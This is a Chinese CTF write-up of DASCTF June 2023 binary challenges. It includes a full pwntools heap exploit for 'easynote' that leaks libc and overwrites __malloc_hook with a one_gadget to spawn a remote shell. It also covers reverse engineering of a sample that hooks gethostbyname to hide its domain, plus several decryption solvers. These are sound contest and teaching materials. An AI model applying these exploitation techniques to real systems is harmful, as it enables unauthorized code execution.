[Writeups] DASCTF 2023六月挑战赛|二进制专项 | 部分Writeup

琪露诺的二进制大冒险 Writeup!

⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨

队伍token:0cd4****6b 

总成绩:排名17,积分3425
写的很详细的是另一个很强的pwn师傅写的
⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨⑨

image

签到

没什么说的,直接签到就行了

image

easynote

一个堆题,观察可发现edit功能存在堆溢出,delete功能在删除后未设置NULL指针,考虑先leak出libc基址,再将gadget写入__malloc_hook来获取shell。

获取libc基址

Unsorted Bin Attack - CTF Wiki (ctf-wiki.org)

构造一个chunk,使其进入Unsorted Bin,然后打印fd指针即可获取一个与 main_arena 有固定偏移的地址,通过动态调试同时获取这个地址和libc基址,即可获取此地址与libc之间的偏移,从获取libc基址。

  1. 申请大小为4000的准备进入Unsorted Bin的内存,其编号为0

  2. 申请大小为4000的,防止0号内存合并进top chunk

  3. 释放掉0号内存,使其进入Unsorted Bin,此时原本指向数据的指针将指向chunk结构体的fd成员变量。

  4. 输出0号内存的值,获取 main_arena 有固定偏移的地址

  5. 通过调试可以获取到此时libc基址,算出地址与libc的偏移为0x3c4b78

    image

  6. 通过leak出的地址减去0x3c4b78在非调试状态下获取libc基址

  7. 使用one_gadget获取gadget地址,通过pwntools获取__malloc_hook地址

    image

将gadget写入__malloc_hook

Fastbin Attack - CTF Wiki (ctf-wiki.org)

使用Fastbin Attack实现任意地址写,主要思想是控制在__malloc_hook附近寻找可以当作"进入fastbinchunk"的结构体,然后通过UAF将进入fastbinchunkfd成员变量修改成构造的结构体地址,使__malloc_hook附近构造的结构体进入fastbin尾部,使其能够通过malloc获取__malloc_hook附近的指针,以便覆盖__malloc_hook的值。

  1. 寻找__malloc_hook附近的内存,发现__malloc_hook上方存在0x000000000000007F,适合作为chunksize,此时size对于__malloc_hook的偏移为0x1B,chunk地址距离size地址还差一个prev_size成员变量,因此chunk地址需要__malloc_hook地址减去0x23,其可malloc的大小为0x60(chunk大小减去prev_sizesizemalloc出来的大小为可储存的用户数据大小为0x6F,又因为需要和2 * SIZE_SZ对齐,所以我们只能申请0x60的大小)

    image

  2. 申请大小为0x60(十进制96)的内存

  3. 释放掉刚刚申请的内存使其进入fastbin

  4. 通过UAF修改fd指针为__malloc_hook-0x23

  5. 申请大小为0x60的内存,将刚刚进入fastbin的内存申请回来

  6. 再次申请大小为0x60的内存,获取__malloc_hook附近的指针

  7. 将其内存赋值为gadget准备获取shell(因为实际上并不能直接获取)

__malloc_hook + __realloc_hook

经过测试,发现几个gadget都不能满足要求,这时候就需要调整内存结构使其满足gadget的需求,我们选取要求[rsp+0x30] == NULL的gadget使其满足get shell的要求,我们可以通过将__mallloc_hook设置成realloc附近地址(具体选哪里取决于我们用多少个push能get shell),再将__realloc_hook设置成gadget来获取shell(因为realloc有好多push可以改变rsp使其更有可能满足gadget条件),经过测试,直接使用realloc即可get shell。

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

image

  1. 修改上一步对__malloc_hook的赋值,使其__malloc_hookrealloc地址,__realloc_hook为gadget地址
  2. 申请一个内存,使其先触发__malloc_hoook,跳转到realloc调整内存,再通过__realloc_hook获取shell

完整代码

from pwn import *

#sh = process('./easynote')
libc = ELF('./easynote-libc-2.23.so')
sh = remote('node4.buuoj.cn',27014)
#print('pid',sh.pid)

__malloc_hook_addr = libc.sym["__malloc_hook"]

sh.recvuntil(b'5. exit\n')
sh.sendline(b'1')
sh.recvuntil(b'The length of your content --->\n')
sh.sendline(b'4000')
sh.recvuntil(b'5. exit\n')
sh.sendline(b'1')
sh.recvuntil(b'The length of your content --->\n')
sh.sendline(b'4000')
sh.recvuntil(b'5. exit\n')
sh.sendline(b'3')
sh.recvuntil(b'Index --->\n')
sh.sendline(b'0')
sh.recvuntil(b'5. exit\n')
sh.sendline(b'4')
sh.recvuntil(b'Index --->\n')
sh.sendline(b'0')
sh.recvuntil(b'Content: ')
addr = u64(sh.recvuntil(b'done')[:-5].ljust(8,b'\x00'))
print('%X'%addr)
libc_addr = addr - 0x3c4b78
print('%X'%libc_addr)
__malloc_hook_addr += libc_addr
realloc_addr = libc_addr + libc.sym['realloc']
print('%X'%__malloc_hook_addr)
gadget = libc_addr +0x4527a
print('gadget','%X'%gadget)
sh.recvuntil(b'5. exit\n')
#sh.interactive()
sh.sendline(b'1')
sh.recvuntil(b'The length of your content --->\n')
sh.sendline(b'96')
sh.recvuntil(b'Content --->\n')
sh.sendline(b'A'*10)
sh.recvuntil(b'5. exit\n')
sh.sendline(b'3')
sh.recvuntil(b'Index --->\n')
sh.sendline(b'2')
sh.recvuntil(b'5. exit\n')
sh.sendline(b'2')
sh.recvuntil(b'Index --->\n')
sh.sendline(b'2')
sh.recvuntil(b'The length of your content --->\n')
sh.sendline(b'9')
sh.recvuntil(b'Content --->\n')
sh.sendline(p64(__malloc_hook_addr - 0x23))
sh.sendline(b'1')
sh.recvuntil(b'The length of your content --->\n')
sh.sendline(b'96')
sh.recvuntil(b'Content --->\n')
sh.sendline(b'ABCD')
sh.recvuntil(b'5. exit\n')
sh.sendline(b'1')
sh.recvuntil(b'The length of your content --->\n')
sh.sendline(b'96')
sh.sendline(b'A'*11+p64(gadget)+p64(realloc_addr))

sh.interactive()

careful

hint:题目给出了一个恶意样本,请分析出样本请求服务器的域名(flag的形式为DASCTF{md5(域名)}) 其中md5值都是小写

main函数里存在v13,取出来一看

image

明码值为welcome_t0_dasctf.com。注意到函数sub_401010位于__scrt_common_main_sehinitterm中,作为全局变量的初始化被调用,属于加载前函数。

image

观察此函数值,注意到两次VirtualProtect,同时看到sub_4010C0参与运算并且写入了gethostbyname的空间。

考察sub_4010c0

image

注意到异或。简单异或一下拿到真实域名Just_An_APIH00k11.com

#include <windows.h>
#include <iostream>
#include "defs.h"

int main(int argc, char** argv)
{
	char name[] = { "welcome_t0_dasctf.com" };
	char* a1 = name;
	name[0] = *a1 ^ 0x3D;
	name[1] = a1[1] ^ 0x10;
	name[2] = a1[2] ^ 0x1F;
	name[3] = a1[3] ^ 0x17;
	name[4] = a1[4] ^ 0x30;
	name[5] = a1[5] ^ 0x2C;
	name[6] = a1[6] ^ 0xB;
	name[7] = a1[7];
	name[8] = a1[8] ^ 0x35;
	name[9] = a1[9] ^ 0x60;
	name[10] = a1[10] ^ 0x16;
	name[11] = a1[11] ^ 0x2C;
	name[12] = a1[12] ^ 0x51;
	name[13] = a1[13] ^ 0x43;
	name[14] = a1[14] ^ 8;
	name[15] = a1[15] ^ 0x45;
	name[16] = a1[16] ^ 0x57;
	name[17] = a1[17];
	name[18] = a1[18];
	name[19] = a1[19];
	name[20] = a1[20];
	name[21] = a1[21];

	printf("%s", name);
	return 0;
}

image

做一下md5就可以提交了。

DASCTF{f18566f93963f72f463fdfa2d163c37c}

babyRe

image

主代码段拿出了二进制资源cod,此资源随后在sub_7FF644C02940中被异或解密。

image

此处异或解密在地址.text:00007FF617C928F0存在反调试手段:

image

无视直接静态。

从资源中提取二进制数据,异或之后使用ida分析。

image

核心逻辑如下,(已去call $+5的花,同时sub_1EE不表)

image

伪代码如下

#include <windows.h>
#include <iostream>
#include "defs.h"
__int64 sub_1EE();
__int64 __fastcall sub_5(unsigned char* a1);

int main(int argc, char ** argv)
{
	sub_5((unsigned char*)"abcdef");
	return 0;
}


__int64 sub_1EE()
{
	__int64 (*v0)(void); // rax
	__int64 (*retaddr)(void); // [rsp+0h] [rbp+0h]
	retaddr = 0;
	v0 = retaddr;
	LOBYTE(retaddr) = (_BYTE)retaddr + 8;
	return v0();
}
__int64 __fastcall sub_5(unsigned char* a1)
{
	char* v1; // rdi
	__int64 i; // rcx
	__int64 result; // rax
	char v4; // [rsp+20h] [rbp+0h] BYREF
	char v5[292]; // [rsp+30h] [rbp+10h] BYREF
	unsigned int k; // [rsp+154h] [rbp+134h]
	unsigned int v7; // [rsp+174h] [rbp+154h]
	unsigned int v8; // [rsp+194h] [rbp+174h]
	int v9; // [rsp+1B4h] [rbp+194h]
	char v10[44]; // [rsp+1D8h] [rbp+1B8h]
	unsigned int v11; // [rsp+204h] [rbp+1E4h]
	_BYTE* j; // [rsp+228h] [rbp+208h]
	int v13; // [rsp+244h] [rbp+224h]
	__int64 v14; // [rsp+3D8h] [rbp+3B8h]
	_BYTE* v15 = 0; // [rsp+410h] [rbp+3F0h]

	v1 = &v4;
	for (i = 150i64; i; --i)
	{
		*(_DWORD*)v1 = -858993460;
		v1 += 4;
	}
	memset(v5, 0, 0x101ui64);
	v10[0] = 93;
	v10[1] = 66;
	v10[2] = 98;
	v10[3] = 41;
	v10[4] = 3;
	v10[5] = 54;
	v10[6] = 71;
	v10[7] = 65;
	v10[8] = 21;
	v10[9] = 54;
	v11 = 0;
	for (j = v15; *j; ++j)
		++v11;
	for (k = 0; k < 0x100; ++k)
		v5[k] = k;
	v8 = 0;
	v7 = 0;
	for (k = 0; k < 0x100; ++k)
	{
		v9 = (unsigned __int8)v5[k];
		v7 = (v10[v8] + v9 + 2 * v7) % 0x100;
		v5[k] = v5[v7];
		v5[v7] = v9;
		if (++v8 >= 0xA)
			v8 = 0;
	}
	v8 = 0;
	sub_1EE();
	v7 = v8;
	for (k = 0; ; ++k)
	{
		result = v11;
		if (k >= v11)
			break;
		v7 = (v8 + v7) % 0x100;
		v8 = ((unsigned __int8)v5[v7] + v8) % 0x100;
		v9 = (unsigned __int8)v5[v7];
		v5[v7] = v5[v8];
		v5[v8] = v9;
		v13 = (unsigned __int8)v5[((unsigned __int8)v5[v7] + v8 + (unsigned __int8)v5[v8]) % 0x100];
		v15[k] ^= v13;
		v14 = k;
		v15[k] += k % 0xD;
	}
	return result;
}

跟踪ida并导出异或表。(此处也可以逆向上述源码,但是我懒)

#include <windows.h>
#include <iostream>
#include "defs.h"
unsigned char v4[64] = { 0 };
char xor_key[] =
{
	0xb3,0x6c,0x61,0xae,0x3a,0x8c,0x23,0x33,
	0x80,0xd7,0x93,0x16,0x07,0xba,0xe4,0xc6,
	0x27,0x52,0xb0,0xe3,0x48,0x84,0xfa,0x99,
	0x08,0xcb,0xf6,0x67,0xbe,0xf6,0x00,0xf8,
	0x85,0x36,0x88,0x58,0xc2,0xd0,0x04,0x53,
	0xc2,0x1e,0xcb,0x29,0xa4,0x46,0x2c
};
int main(int argc, char** argv)
{
	v4[0] = -9;
	v4[1] = 46;
	v4[2] = 52;
	v4[3] = -16;
	v4[4] = 114;
	v4[5] = -49;
	v4[6] = 94;
	v4[7] = 10;
	v4[8] = -69;
	v4[9] = -20;
	v4[10] = -79;
	v4[11] = 43;
	v4[12] = 112;
	v4[13] = -120;
	v4[14] = -120;
	v4[15] = -19;
	v4[16] = 70;
	v4[17] = 56;
	v4[18] = -37;
	v4[19] = -38;
	v4[20] = 108;
	v4[21] = -67;
	v4[22] = -44;
	v4[23] = 6;
	v4[24] = 119;
	v4[25] = -14;
	v4[26] = -49;
	v4[27] = 86;
	v4[28] = -120;
	v4[29] = -58;
	v4[30] = 49;
	v4[31] = -46;
	v4[32] = -73;
	v4[33] = 90;
	v4[34] = -63;
	v4[35] = 66;
	v4[36] = -80;
	v4[37] = -12;
	v4[38] = 72;
	v4[39] = 55;
	v4[40] = -11;
	v4[41] = 44;
	v4[42] = -11;
	v4[43] = 88;
	v4[44] = 0;

	for (int i = 0; i < 44; i++)
	{
		v4[i] -= i % 0xD;
		printf("%c", v4[i] ^ xor_key[i]);
	}
	return 0;
}

image

DASCTF{03446c2c-dff7-11ed-9285-54e1ad98d649}

ez_exe

image

注意到pyinstaller,使用extremecoders-re/pyinstxtractor解压,得到一堆文件。

image

注意到里面的ez_py.pyc,用pycdc拿出源码(也可以随便找个pyc的逆向网址,太简单,不表)

# Source Generated with Decompyle++
# File: ez_py.pyc (Python 3.11)

import ctypes
from time import *
from ctypes import *
from ctypes import wintypes
from hashlib import md5

class _STARTUPINFO(Structure):
    _fields_ = [
        ('cb', c_ulong),
        #...
        ('hStdError', c_ulong)]


class _PROCESS_INFORMATION(Structure):
    _fields_ = [
        ('hProcess', c_void_p),
        #...
        ('dwThreadId', c_ulong)]

StartupInfo = _STARTUPINFO()
ProcessInfo = _PROCESS_INFORMATION()
key1 = bytes(md5(b'bin1bin1bin1').hexdigest().encode())
file = open('bin1', 'rb').read()
arr = range(len(file))()
open('bin1', 'wb').write(bytes(arr))
sleep(0)
bet = ctypes.windll.kernel32.CreateProcessA(b'bin1', ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(0), byref(StartupInfo), byref(ProcessInfo))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ProcessInfo.hProcess), ctypes.c_int(-1))
open('bin1', 'wb').write(file)

看到启动的都是bin1,同时结合程序的提示

please use zhe execute file decrypt 'bin2' and your will get flag!(zhe还拼错了)

image

于是搜一搜改一改,把pyc里的bin1改成bin2,我比较懒,第一次就试着把密钥部分也一起换了吧。

image

运行一下(要用py3.11,懒得配)

image

沙盒运行成功,虽然显示错误,但是可以用管他三七二十三。

解密的bin2是个简单的btea的二进制

image

我懒,我抄csdn找个脚本BTEA算法C语言实现_z=vn - 1 += mx_coolibin的博客-CSDN博客

#include <iostream>
#include <stdio.h>

using namespace std;

#include <stdint.h>

//delta changed
#define DELTA 0x7937B99E
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))

void btea(uint32_t* v, int n, uint32_t const key[4]) {
	uint32_t y, z, sum;
	unsigned p, rounds, e;
	if (n > 1) {          /* Coding Part */
		rounds = 6 + 52 / n;
		sum = 0;
		z = v[n - 1];
		do {
			sum += DELTA;
			e = (sum >> 2) & 3;
			for (p = 0; p < n - 1; p++) {
				y = v[p + 1];
				z = v[p] += MX;
			}
			y = v[0];
			z = v[n - 1] += MX;
		} while (--rounds);
	}
	else if (n < -1) {  /* Decoding Part */
		n = -n;
		//round changed 
		rounds =  52 / n;
		sum = rounds * DELTA;
		y = v[0];
		do {
			e = (sum >> 2) & 3;
			for (p = n - 1; p > 0; p--) {
				z = v[p - 1];
				y = v[p] -= MX;
			}
			z = v[n - 1];
			y = v[0] -= MX;
		} while ((sum -= DELTA) != 0);
	}
}

int main()
{
	uint32_t key[4] = { 0 };
	key[0] = 0x4B5F;
	key[1] = 0xDEAD;
	key[2] = 0x11ED;
	key[3] = 0xB3CC;
	uint32_t v5[11] = { 0 };
	v5[0] = 0xCC45699D;
	v5[1] = 0x683D5352;
	v5[2] = 0xB8BB71A0;
	v5[3] = 0xD3817AD;
	v5[4] = 0x7547E79E;
	v5[5] = 0x4BDD8C7C;
	v5[6] = 0x95E25A81;
	v5[7] = 0xC4525103;
	v5[8] = 0x7049B46F;
	v5[9] = 0x5417F77C;
	v5[10] = 0x65567138;
	btea(v5, -11, key);
	for (int i = 0; i < 44; i++)
	{
		printf("%c",*((char *)v5 +i) & 0xff);
	}
	return 0;
}

注意原二进制的轮数和delta都改了。

image

看加密段,加密段的DELTA改了,但是解密段没改,不知道是不小心的还是故意的。

image

cap

比较奇怪并且比较傻逼的一题

注意到main函数

image

输出bmp文件的花式格式,你怎么输出我就怎么读入。没什么技术难点,上脚本

/*
DASCTF{3d0bd550-edbe-11ed-b2a3-f1d90bff20c4}
*/

#include <windows.h>
#include <iostream>
#include "defs.h"


struct tagBITMAPINFO bmi;

int main(int argc, char** argv)
{
	// 打开文件
	HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hFile == INVALID_HANDLE_VALUE) { return -1; }

	BYTE* lpDiBits;
	DWORD bytesRead;
	// 读取颜色表数据
	ReadFile(hFile, bmi.bmiColors, 0xe, &bytesRead, NULL);
	/*
	*     bmi.bmiColors[0].rgbGreen = 46;
		  bmi.bmiColors[0].rgbBlue = 44;
		  bmi.bmiColors[0].rgbRed = (biPixels + 54) ^ 0x5F;
		  bmi.bmiColors[0].rgbReserved = ((unsigned __int16)(biPixels + 54) >> 8) ^ 0x62;
	*/
	DWORD biPixels; // ebx

	//Color assertaion
	(bmi.bmiColors[0].rgbGreen == 46 && bmi.bmiColors[0].rgbBlue == 44) ? printf("[+] rgbGreen&rgbBlue check passed!\n") : printf("[-] rgbGreen=%d,rgbBlue=%d\n", bmi.bmiColors[0].rgbGreen, bmi.bmiColors[0].rgbBlue);

	//biPixels = bmi.bmiColors[0].rgbRed ^ 0x5f - 54;
	//bmi.bmiColors[0].rgbReserved = ((bmi.bmiColors[0].rgbReserved ^ 0x62) << 8) - 54;
	bmi.bmiColors[0].rgbReserved = 0;

	// 读取位图信息头数据
	ReadFile(hFile, &(bmi.bmiHeader), 0x28, &bytesRead, NULL);

	bmi.bmiHeader.biSize ^= 0x79625F63u;
	bmi.bmiHeader.biSize == 40 ? printf("[+] biSize check passed!\n") : printf("[-] biSize=%d\n", bmi.bmiHeader.biSize);
	bmi.bmiHeader.biWidth ^= 0x7361645Fu;
	bmi.bmiHeader.biHeight ^= 0x65667463u;

	//initialized value.
	//bmi.bmiHeader.biPlanes = 0x200001i64;
	//bmi.bmiHeader.biSizeImage == 0i64;
	//bmi.bmiHeader.biYPelsPerMeter == 0i64;
	//bmi.bmiHeader.biClrImportant == 0;

	bmi.bmiHeader.biPlanes ^= 0x61645F79625F636Eui64;
	bmi.bmiHeader.biSizeImage ^= 0x5F636E6566746373ui64;
	bmi.bmiHeader.biYPelsPerMeter ^= 0x74637361645F7962ui64;
	bmi.bmiHeader.biClrImportant ^= 0x636E6566u;
#define printfArgs(X) printf("[+] "#X" = 0x%x\n",X )
	printfArgs(bmi.bmiHeader.biSize);
	printfArgs(bmi.bmiHeader.biWidth);
	printfArgs(bmi.bmiHeader.biHeight);
	printfArgs(bmi.bmiHeader.biPlanes);
	printfArgs(bmi.bmiHeader.biSizeImage);
	biPixels = bmi.bmiHeader.biSizeImage;
	bmi.bmiHeader.biSizeImage = 0;
	printfArgs((biPixels + 54) ^ 0x5F);
	printfArgs(bmi.bmiHeader.biYPelsPerMeter);
	printfArgs(bmi.bmiHeader.biClrImportant);
	//预定义值
	//此处色深十分难以看出来!
	bmi.bmiHeader.biBitCount = 32;
	bmi.bmiHeader.biCompression = 0;
	bmi.bmiHeader.biXPelsPerMeter = 0;
	bmi.bmiHeader.biYPelsPerMeter = 0;
	bmi.bmiHeader.biClrUsed = 0;
	//bmi.bmiHeader.biClrImportant = 0;

	biPixels > 0x384000 ? (printf("[+] biPixels=%d; Continue?", biPixels), system("pause")):NULL;

	//biPixels = 65536;
	// 分配内存用于存储像素数据
	lpDiBits = (BYTE*)VirtualAlloc(0, sizeof(BYTE) * biPixels, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	// 读取像素数据
	if (!ReadFile(hFile, lpDiBits, biPixels, &bytesRead, NULL)) {
		// 处理读取失败的情况
		CloseHandle(hFile);
		delete[] lpDiBits;
		return -1;
	}
	printfArgs(bytesRead);
	DWORD v12 = 0;
	DWORD v14;
	DWORD v15;
	//char aEncByDasctf[] = { "enc_by_dasctf" };

	BYTE* startpos = lpDiBits;
	unsigned char aEncByDasctf[] =
	{
	  0x65, 0x6E, 0x63, 0x5F, 0x62, 0x79, 0x5F, 0x64, 0x61, 0x73,
	  0x63, 0x74, 0x66
	};
	for (DWORD i = 0; i < bytesRead; i++)
	{
		v14 = v12 + 3;
		v15 = (unsigned __int64)(0x4EC4EC4Fi64 * (v12 + 3)) >> 32;
		++v12;
		*lpDiBits ^= aEncByDasctf[v14 - 13 * (((unsigned int)v15 >> 31) + (v15 >> 2))];
		//*lpDiBits ^= aEncByDasctf[v12 % 14 +3];
		//*lpDiBits = ~*lpDiBits;
		lpDiBits++;
	}
	
	 /*
	for (int i = 0; i < bytesRead; i++)
	{
		lpDiBits++;
	}
	for (int i = 0; i < bytesRead; i++)
	{
		lpDiBits--;
		v12--;
		v14 = v12 + 3;
		v15 = (unsigned __int64)(0x4EC4EC4Fi64 * (v12 + 3)) >> 32;
		*lpDiBits ^= aEncByDasctf[v14 - 13 * (((unsigned int)v15 >> 31) + (v15 >> 2))];
	}
	*/
	//printf("\n};");
	//关闭文件
	CloseHandle(hFile);
	hFile = CreateFileW(L"restored_0.bmp", 0x40000000u, 0, 0i64, 2u, 0x80u, 0i64);

	DWORD NumberOfBytesWritten; // [rsp+B8h] [rbp-1h] BYREF

	printf("[+] writing out...\n");
	BITMAPFILEHEADER bmpFileHeader;
	ZeroMemory(&bmpFileHeader, sizeof(BITMAPFILEHEADER));
	bmpFileHeader.bfType = 0x4D42;  // "BM" - 表示BMP文件类型
	bmpFileHeader.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER);  // 数据偏移量
	bmpFileHeader.bfSize = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + biPixels;
	//bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER);

	WriteFile(hFile, &bmpFileHeader, sizeof(BITMAPFILEHEADER), &NumberOfBytesWritten, NULL);
	WriteFile(hFile, &bmi, 0x28, &NumberOfBytesWritten, NULL);
	WriteFile(hFile, &bmi.bmiColors, 14, &NumberOfBytesWritten, NULL);

	WriteFile(hFile, startpos, biPixels, &NumberOfBytesWritten, NULL);

	CloseHandle(hFile);
	VirtualFree(lpDiBits, sizeof(BYTE) * biPixels, MEM_RELEASE | MEM_DECOMMIT);

	return 0;
}

注意色深是32.

否则你会得到一堆这种破碎图片(色深为24的大冤种)

image

然后拿出真实图: 绿吧?绿就对啦

image

image

反正我是看出来了

DASCTF{3d0bd550-edbe-11ed-b2a3-f1d90bff20c4}

后记

以后有时间再写详细解析(指鸽子

posted @ 2023-06-04 23:50  二氢茉莉酮酸甲酯  阅读(689)  评论(0编辑  收藏  举报